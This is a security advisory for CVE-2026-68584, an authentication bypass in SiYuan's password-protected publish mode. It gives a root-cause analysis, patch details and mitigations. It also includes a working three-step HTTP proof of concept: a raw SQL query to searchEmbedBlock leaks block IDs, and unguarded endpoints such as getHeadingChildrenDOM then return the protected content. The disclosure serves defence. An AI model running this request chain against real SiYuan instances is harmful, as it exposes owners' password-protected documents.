high · 8.6Sep 3, 2026

CVE-2026-68584: SiYuan Publish Password Authentication Bypass via Unprotected Content Endpoints

Rohit Hatagale
AI Security Researcher, SecureLayer7

SiYuan's publish-mode password protection can be completely bypassed by anonymous users who call several content endpoints that skip the password check entirely, exposing the full text of…

Packagegithub.com/siyuan-note/siyuan/kernel
Ecosystemgo
Affected< 0.0.0-20260721020826-2d069dce84a2
Fixed in0.0.0-20260721020826-2d069dce84a2
CVE-2026-68584: SiYuan Publish Password Authentication Bypass via Unprotected Content Endpoints

The problem

SiYuan publish mode supports a "protected" access level that promises password-gated document reading. The password gate is only enforced on the getDoc endpoint via FilterContentByPublishAccess.

Six other content-returning endpoints, getHeadingChildrenDOM, getHeadingDeleteTransaction, getHeadingLevelTransaction, getHeadingInsertTransaction, getBacklinkDoc, and getBackmentionDoc, perform no publish-password check at all. Any anonymous caller with a valid block ID from the protected document can retrieve its full rendered body, defeating the documented access control entirely.

Proof of concept

A working proof-of-concept for this issue in github.com/siyuan-note/siyuan/kernel, with the exact payload below.

http
# Step 1 - confirm the password gate works on the primary path (correctly blocked)
POST http://127.0.0.1:6808/api/filetree/getDoc
Content-Type: application/json

{"id": "PROTECTED_DOC_ID"}

# --> Returns password-required placeholder. Good.

# Step 2 - leak a heading block ID from the protected document (no auth needed)
POST http://127.0.0.1:6808/api/search/searchEmbedBlock
Content-Type: application/json

{"stmt": "SELECT * FROM blocks WHERE root_id='PROTECTED_DOC_ID' AND type='h'"}

# --> Returns heading rows; content field is blanked but 'id' field is present.
# Extract any 'id' value from the response, e.g. "20240101120000-abcdefg"

# Step 3 - fetch full protected content with no password (HTTP 200)
POST http://127.0.0.1:6808/api/block/getHeadingChildrenDOM
Content-Type: application/json

{"id": "20240101120000-abcdefg"}

# --> HTTP 200, full rendered DOM of the protected document returned.
# Same result with getHeadingDeleteTransaction, getHeadingLevelTransaction,
# getHeadingInsertTransaction, getBacklinkDoc, and getBackmentionDoc.

The root cause is CWE-288: the six content endpoints are registered with only CheckAuth middleware and never invoke FilterContentByPublishAccess or the publish-password cookie check that getDoc applies. Any block ID from the protected document is sufficient to get full content back.

The ID precondition is trivially removed by searchEmbedBlock, which runs a raw SQL query against the blocks table and returns block id fields even when it blanks the content string. Protected documents are publicly listed by design, so the root ID is already known, making the entire chain reachable anonymously with no token.

The patch (commit 2d069dce84a2, released in v3.7.3) added the same publish-access guard used by getDoc to all six missing handlers, and tightened FilterEmbedBlocksByPublishAccess to omit filtered blocks entirely rather than returning them with a blanked content field.

The fix

Upgrade to SiYuan v3.7.3 or later (Go module pseudo-version 0.0.0-20260721020826-2d069dce84a2). The patch adds publish-password enforcement to getHeadingChildrenDOM, the three getHeading*Transaction handlers, and getBacklinkDoc/getBackmentionDoc, and stops FilterEmbedBlocksByPublishAccess from leaking block IDs of filtered content.

If you cannot upgrade immediately, disable publish mode or remove the "protected" access level from sensitive documents and use private/forbidden instead.

Reported by 88250.

References: [1][2][3][4][5]

Related research